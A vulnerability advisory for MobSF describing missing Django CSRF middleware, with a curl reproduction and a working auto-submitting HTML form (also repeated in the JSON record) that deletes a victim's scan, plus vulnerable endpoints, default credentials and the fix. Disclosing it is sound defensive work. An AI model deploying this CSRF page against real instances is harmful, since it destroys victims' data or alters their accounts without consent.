GHSA-3P54-567P-2WPR
Vulnerability from github – Published: 2026-08-18 18:01 – Updated: 2026-08-18 18:01
VLAI
Summary
MobSF's CSRF checks not enforced after Django migration
Details
Summary
Django's CsrfViewMiddleware exists only in the deprecated MIDDLEWARE_CLASSES (ignored since Django 2.0). The active MIDDLEWARE tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.
Verified Impact
This was verified by actually deleting a real scan from the running server using only a session cookie — no CSRF token was required:
$ curl -s -b cookies.txt -X POST "http://127.0.0.1:8000/delete_scan/" \
-d "md5=68e76627798d62555d5287f4488a32c7&scan_type=apk"
{"deleted": "yes"}
The scan was removed from the database. This attack works from any website via HTML form auto-submission because:
- No CSRF token is validated (middleware absent)
- Cookie SameSite=Lax allows form-based top-level navigation to send the session cookie
Affected Component
File: mobsf/MobSF/settings.py (Lines 206-212)
MIDDLEWARE = (
'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
# MISSING: 'django.middleware.csrf.CsrfViewMiddleware'
)
Steps to Reproduce
1. Start MobSF v4.4.6 and log in at http://127.0.0.1:8000/login/ (creds: mobsf/mobsf).
2. Upload and scan any APK to create a scan entry. Note the MD5 hash from "Recent Scans".
3. Open the following HTML file in the same browser (simulates visiting attacker's page):
<!DOCTYPE html>
<html>
<head><title>Innocent Page</title></head>
<body>
<h1>Loading...</h1>
<form id="f" method="POST" action="http://127.0.0.1:8000/delete_scan/">
<input type="hidden" name="md5" value="PUT_REAL_MD5_HASH_HERE" />
<input type="hidden" name="scan_type" value="apk" />
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>
4. The scan is deleted. Navigate back to MobSF "Recent Scans" to confirm it's gone.
Why This Is Not a Self-Bug
- The attack requires a victim user who is logged in to visit an attacker-controlled page
- The attacker crafts the form targeting the victim's MobSF instance
- All destructive POST endpoints are affected:
/delete_scan/,/upload/,/download_scan/,/change_password/,/create_user/,/delete_user/ - This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)
Remediation
Add 'django.middleware.csrf.CsrfViewMiddleware' to the active MIDDLEWARE tuple.
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mobsf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-68923"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T18:01:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nDjango\u0027s `CsrfViewMiddleware` exists only in the deprecated `MIDDLEWARE_CLASSES` (ignored since Django 2.0). The active `MIDDLEWARE` tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.\n\n### Verified Impact\n\nThis was verified by **actually deleting a real scan** from the running server using only a session cookie \u2014 no CSRF token was required:\n\n```\n$ curl -s -b cookies.txt -X POST \"http://127.0.0.1:8000/delete_scan/\" \\\n -d \"md5=68e76627798d62555d5287f4488a32c7\u0026scan_type=apk\"\n{\"deleted\": \"yes\"}\n```\n\nThe scan was removed from the database. This attack works from any website via HTML form auto-submission because:\n- **No CSRF token is validated** (middleware absent)\n- **Cookie `SameSite=Lax`** allows form-based top-level navigation to send the session cookie\n\n### Affected Component\n\n```\nFile: mobsf/MobSF/settings.py (Lines 206-212)\n\nMIDDLEWARE = (\n \u0027mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware\u0027,\n \u0027django.contrib.sessions.middleware.SessionMiddleware\u0027,\n \u0027django.contrib.auth.middleware.AuthenticationMiddleware\u0027,\n \u0027django.contrib.messages.middleware.MessageMiddleware\u0027,\n # MISSING: \u0027django.middleware.csrf.CsrfViewMiddleware\u0027\n)\n```\n\n### Steps to Reproduce\n\n**1.** Start MobSF v4.4.6 and log in at `http://127.0.0.1:8000/login/` (creds: `mobsf/mobsf`).\n\n**2.** Upload and scan any APK to create a scan entry. Note the MD5 hash from \"Recent Scans\".\n\n**3.** Open the following HTML file in the **same browser** (simulates visiting attacker\u0027s page):\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eInnocent Page\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003cform id=\"f\" method=\"POST\" action=\"http://127.0.0.1:8000/delete_scan/\"\u003e\n \u003cinput type=\"hidden\" name=\"md5\" value=\"PUT_REAL_MD5_HASH_HERE\" /\u003e\n \u003cinput type=\"hidden\" name=\"scan_type\" value=\"apk\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027f\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**4.** The scan is deleted. Navigate back to MobSF \"Recent Scans\" to confirm it\u0027s gone.\n\n### Why This Is Not a Self-Bug\n\n- The attack requires a **victim user** who is logged in to visit an attacker-controlled page\n- The attacker crafts the form targeting the victim\u0027s MobSF instance\n- All destructive POST endpoints are affected: `/delete_scan/`, `/upload/`, `/download_scan/`, `/change_password/`, `/create_user/`, `/delete_user/`\n- This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)\n\n### Remediation\n\nAdd `\u0027django.middleware.csrf.CsrfViewMiddleware\u0027` to the active `MIDDLEWARE` tuple.",
"id": "GHSA-3p54-567p-2wpr",
"modified": "2026-08-18T18:01:14Z",
"published": "2026-08-18T18:01:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-3p54-567p-2wpr"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf"
},
{
"type": "PACKAGE",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "MobSF\u0027s CSRF checks not enforced after Django migration"
}
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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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